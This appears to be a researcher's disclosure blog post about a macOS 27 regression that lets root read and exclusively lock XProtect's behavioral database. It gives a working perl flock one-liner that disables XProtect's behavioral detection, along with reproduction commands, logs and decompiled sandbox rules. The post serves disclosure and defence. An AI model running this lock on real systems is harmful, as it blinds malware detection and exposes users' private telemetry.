XProtect behavioral flop: the Golden Gasp
Every time Apple ships a new major OS, I find myself performing the same rituals.
First, I make sure my own tools still swallow whatever the shiny new build changed underneath them. This round, fashion needed a small update to digest the new arm64e.x1 executable slice Apple is now handing to Apple Silicon A20 Pro and M6 users.
Then I revisit my own bug reports — the fixed and the pending — to see how they aged across the version bump.
The first bug I disclosed publicly on this blog, the one that earned me a line in Apple’s Security Advisories, aged badly: it came back from the dead. Not a variant, not a cousin — the same bug, the same file, the same embarrassing one-liner. macOS 27 Golden Gate resurrected it.
Which raises an uncomfortable question. A bug found in the wild, escalated through Product Security, and patched across three separate releases is the textbook candidate for a regression test: a few lines in a test suite that should fail on the day the bug comes back. Three releases of effort to close it, no love to keep it closed.
Previously, on XPdb
The one-liner that started it all was, and still is, embarrassingly small:
sudo perl -e 'open my $fh, "<", "/var/protected/xprotect/db/XPdb" or die $!; flock($fh, 2) or die $!; while (1) { sleep 3600; }'
Open the database read-only, take an exclusive flock(2) with LOCK_EX, and hold it. The malware known as XCSSET used exactly this trick in the wild.
XProtectBridgeService can no longer initialise or update the behavioral events database. Apple’s “behavioral telemetry and discovery pipeline” goes dark again, for as long as the lock is held.
Apple’s response was to promote /private/var/protected/xprotect/db/ to a protected location gated by a new entitlement, com.apple.private.security.storage.xprotectdb. Any process without the entitlement was denied access:
Error: unable to open database "/System/Volumes/Data/private/var/protected/xprotect/db/XPdb": authorization denied
That is the state the last post ended on: the flock trick, dead. Then macOS 27 (build 26A428) shipped.
What The Flock (again)
Same one-liner, same file, new major OS:
System Administrator (root) read: ALLOWED
System Administrator (root) flock: ACQUIRED
The exclusive file lock is back. And the kernel agrees the behavioral events database is still “protected” — it just protects the wrong verb. Watch what the Sandbox logs while sqlite3 tries to write and the perl one-liner holds the lock:
sudo sqlite3 /private/var/protected/xprotect/db/XPdb 'SELECT * FROM events;' -json
Parse error in 2nd command line argument: database is locked (5)
sudo log stream --predicate 'process == "sqlite3" OR eventMessage CONTAINS "sqlite3"' --debug
sqlite3 [com.apple.libsqlite3:logging] database is locked in "SELECT count(*) FROM sqlite_schema"
sqlite3 [com.apple.libsqlite3:logging] misuse at line 200728 of [8fa8248e30]
sqlite3 [com.apple.libsqlite3:logging] Failed to open '/private/var/protected/xprotect/db/XPdb' for read/write access (Operation not permitted). Attemping to open as read-only
kernel (Sandbox) System Policy: sqlite3 deny(1) file-write-data /private/var/protected/xprotect/db/XPdb
sqlite3 (libsystem_info.dylib) Retrieve User by ID
sqlite3 [com.apple.libsqlite3:logging] database is locked in "SELECT * FROM events;"
file-write-data: denied. file-read-data: not a peep. On macOS 27, XPdb is readable, lockable, but not writable:
sudo log stream --process XProtectBridgeService --debug
XProtectBridgeService [com.apple.xprotect:XProtectBridgeService] Instantiating XProtectPayloadsProvider_class
XProtectBridgeService [com.apple.xpc:connection] [0x75710608c0] activating connection: mach=false listener=false peer=true name=com.apple.XProtectBridgeService.peer[751].0x75710608c0
XProtectBridgeService [com.apple.XProtect:behavior] Got an event in libXPP dylib
XProtectBridgeService [com.apple.libsqlite3:logging] database is locked in "PRAGMA journal_mode = WAL"
XProtectBridgeService [com.apple.XProtect:behavior] SQL error 'database is locked' (5)
XProtectBridgeService [com.apple.XProtect:behavior] Prepare error (5) on query: PRAGMA journal_mode = WAL
XProtectBridgeService [com.apple.libsqlite3:logging] database is locked in "CREATE TABLE IF NOT EXISTS settings ( name TEXT, value TEXT, PRIMARY KEY (name) )"
XProtectBridgeService [com.apple.XProtect:behavior] SQL error 'database is locked' (5)
XProtectBridgeService [com.apple.XProtect:behavior] Prepare error (5) on query: CREATE TABLE IF NOT EXISTS settings ( name TEXT, value TEXT, PRIMARY KEY (name) )
XProtectBridgeService [com.apple.XProtect:behavior] XPDatabase failed to initialize.
XProtectBridgeService [com.apple.XProtectFramework.PluginAPI:XPEventDb] EventDatabase failed to set up settings table
Readable plus lockable is all a denial-of-service needs.
Advisory flock and SQLite’s own POSIX byte-range locks are usually separate worlds — but XPdb is opened with whole-file lock semantics, so a single exclusive flock wedges XProtectBridgeService all the same, and the log above is the receipt.
The Inverted Rule
bastion.sb gets all the attention because it ships in the XProtect app and loads through com.apple.private.security.register-xprotect-profile syscall.
But the rule that guards XPdb itself lives in the built-in platform sandbox profile — _platform_profile_data inside Sandbox.kext, inherited by every process on the system — and keys on a storage class named xprotectdb. Reversing it is a job for Sandblaster, once you feed it the right operation names. Decompile the file-read-data operation from both builds and the regression is right there in the boolean.
macOS 26.6.2 (25G83) denies the un-entitled. Pruned to the xprotectdb path:
(deny file-read-data
(require-all
(require-not (storage-class-extension 0))
(require-not (file-attribute sip-protected))
(storage-class xprotectdb)
(require-any
(process-attribute is-installer)
(process-attribute is-initproc)
(process-attribute is-datavault-controller)
(entitlement-is-bool-true com.apple.private.security.storage.xprotectdb)
(require-not (entitlement-is-bool-true com.apple.private.security.storage.xprotect)))))
That trailing require-not is the whole game: deny the read when the process does not hold the xprotect entitlement — i.e. deny everyone ordinary. Root included.
macOS 27.0 (26A428) buries the same xprotectdb check behind a positive entitlement test:
(deny file-read-data
(require-all
(require-not (storage-class-extension 0))
(require-not (file-attribute sip-protected))
(entitlement-is-bool-true com.apple.private.security.storage.xprotect)
(storage-class xprotectdb)
(process-attribute is-initproc)))
Now the deny fires only for a process that holds com.apple.private.security.storage.xprotect — XProtect’s own entitlement, which almost nothing carries — and, on the xprotectdb branch, is initproc on top. For every ordinary process the entitlement term is already false, the deny never triggers, and the read falls straight through to (allow default). The guard is pointed the wrong way.
Both listings are the same branch of a much larger operation, pruned to the xprotectdb path and normalised — sibling require-any alternatives dropped, single-child wrappers collapsed — with the boolean on this branch left intact.
The file-write-data rule kept the old, correct shape. That is why the write is still denied and the read is not: they are two different rules, and only one of them was broken.
One Version Apart
Same script, same path, one major OS apart:
| Tests | macOS 26.6.2 (25G83) | macOS 27.0 (26A428) |
|---|---|---|
non-root readdir of …/xprotect/db |
EPERM | allowed |
root read of XPdb |
EPERM | allowed |
root exclusive flock of XPdb |
BLOCKED (open fails) |
ACQUIRED |
file-write-data |
denied | denied |
| Sandbox log | deny(1) file-read-data |
deny(1) file-write-data |
On macOS 26.6.2 the kernel denies file-read-data even to sudo head:
kernel (Sandbox) System Policy: head(95412) deny(1) file-read-data /private/var/protected/xprotect/db/XPdb
On macOS 27.0 that line never appears, because the rule that would have printed it now requires an entitlement no attacker has.
Impact
XPdb is 0600 root, so this is a privileged-code exposure — the same root-level threat model XCSSET already operates in. For XProtect, the regression is a straight return to the pre-26.2 world:
- Denial of service: Root can hold the exclusive lock indefinitely;
XProtectBridgeServicefails everyCREATE TABLE,INSERT,DELETE, andPRAGMA journal_mode = WALwithdatabase is locked. Behavioral detection is off while the lock is held. - Disclosure: Root can read the behavioral database again — the very telemetry macOS 26.2 had walled off from the user whose Mac produced it.
Apple hardened the write path and shipped it as a fix. But a lock only needs a read handle, and file-lock is never gated in the profile at all: it falls under (allow default). The write hardening protects nothing that the attack actually touches.
Outside XPdb, there is no confirmed macOS-wide privacy collapse on macOS 27.0 (26A428).
Reproduce It
Test the behaviour, as root:
sudo head -c 16 /private/var/protected/xprotect/db/XPdb >/dev/null 2>&1 \
&& echo "read: ALLOWED (regressed)" || echo "read: EPERM (protected)"
sudo perl -e 'open my $fh,"<","/private/var/protected/xprotect/db/XPdb" or exit 2; exit(flock($fh,2)?0:3);' \
&& echo "flock: ACQUIRED (regressed)" || echo "flock: BLOCKED (protected)"
A patched system prints EPERM / BLOCKED and logs a (Sandbox) System Policy … deny(1) file-read-data. macOS 27.0 prints ALLOWED / ACQUIRED and stays quiet.
Disclosure
XCSSET has abused the original flock primitive in the wild since 2025; this regression simply hands it back. I am publishing on release day because the takeaway is defensive: on macOS 27, any root-capable process can silence XProtect’s behavioral detection, and neither users nor defenders should assume it is running.
Conclusion
Three releases to shut the reading-room door, a single build to leave it ajar, and not one test caught it. The first behavioral flop was meant to be the ending. Golden Gate gave it one more gasp.